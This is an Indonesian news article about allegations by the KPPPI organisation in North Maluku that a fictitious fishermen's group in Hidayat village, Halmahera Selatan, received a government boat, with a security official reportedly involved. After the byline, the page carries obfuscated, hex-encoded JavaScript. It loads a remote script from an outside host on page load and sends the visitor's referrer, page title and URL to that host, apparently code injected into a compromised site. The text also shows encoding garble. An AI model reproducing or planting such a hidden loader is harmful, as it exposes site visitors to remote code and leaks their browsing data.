Diduga Fiktif, Ormas KPPPI Malut Bakal Ungkap dan Kawal Kasus Kelompok Nelayan

KORANFORUM.COM, MALUT — Pengurus DPD Ormas Korps Pejuang Pemuda Pemudi Indonesia (KPPPI) Maluku Utara (Malut) mensinyalirAi??adanya oknum aparat pada instansi keamanan, di Kabupaten Halsel Provinsi Malut, yang diduga terlibat dalam kasus kelompok nelayan fiktif.

Padahal, pembentukan kelompok nelayan merupakan salahsatu upaya Pemerintah dalam meningkatkan kesejahteraan nelayan.

Karena itu, berbagai program terobosan berupa kebijakan pemerintah pusat, diharapkan dapat menyentuh langsung kepada masyarakat, khususnya kalangan Ai??nelayan.

Namun harapan Pemerintah ini, disinyalir berbeda dengan kebijakan yang dikeluarkan oleh Pemerintah Provinsi Malut, dimana melalui satker terkaitnya, yaitu Dinas Kelautan dan Perikan (DKP) yang diduga mengambil kebijakan tanpa mengikuti arahan dari Kementerian Kelautan dan Perikanan.

Dugaan itu langsung disampaikan oleh Ketua DPD Ormas KPPPI Provinsi Malut, Muhammad Saifudin, dalam rilisnya yang disebarkan kepada awak media, Rabu (28/3/2018).

Dalam rilisnya itu, Saifudin menjelaskan, bahwa di ahhir Tahun 2016 lalu, adanya dugaan pelaksanaan program pemberian kapal, yang diduga dilakukan oleh BR (inisial-red), selaku pimpinan di DKP Provinsi Malut, dimana kapal tersebut diduga diserahkan kepada sebuah kelompok nelayan fiktif, di Desa Hidayat Kecamatan Bacan, HalSel.

Mengacu pada rilis Ketua DPD ORMAS KPPPI Malut, adapun kelompok nelayan yang diduga fiktif itu, diduga diketuai oleh mantan istri seorang pejabat di jajaran instansi keamanan, di Provinsi Malut.

Dalam hal ini, Muhamad Saifudin yang akrab disapa Amat ini, mengungkapkan, Ai??ketika pihaknya melakukan investigasi terkait keberadaan kelompok nelayan yang diduga fiktir tersebut, ternyata kelompok nelayan itu diduga diberi nama “SJ (inisial-red)”.

Saat itu, Plt Kepala Desa Hidayat, Iksan Soleman, juga membenarkan bahwa tidak ada kelompok nelayan di Desa Hidayat.

Sedangkan terkait dengan surat keterangan domisili kelompok nelayan yang diduga fiktif itu, Ai??ia mengaku di minta untuk menandatangani surat yang diduga sudah disiapkan oleh seorang oknum aparat dari instansi keamanan, Ai??di Halsel.

Iksan mengaku, bahwa dirinya sempat disampaikan alasan untuk penandatanganan surat tersebut, yaitu pihak yang meminta itu, ingin mengaktifkan kembali kelompok nelayan yang sudah tidak aktif.

Sementara itu, Camat Bacan Kabupaten Halsel, Iskandar Alam S.T, yang juga diduga ikut menandatangani surat keterangan itu, mengakui kalau dirinya ikut menandatangani surat tersebut, namun ia tidak menyangka sama sekali, kalau kelompok nelayan itu diduga fiktif.

“Namun terkait dengan surat itu, bukan dari camat dulu, tapi dari desa, yang ketika saya terima sudah ada tanda tangan Plt kepala desa,” kelitnya.

Terkait dengan masalah ini, maka Ketua DPD Ormas KPPPI Malut, Muhammad Saifudin, menegaskan, bahwa pihaknya tetap bakal terus mengawal masalah ini sampai kepada penegak hukum, agar dugaan kasus ini dapat diproses secara hukum dan sesuai aturan yang berlaku. (agus) t[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *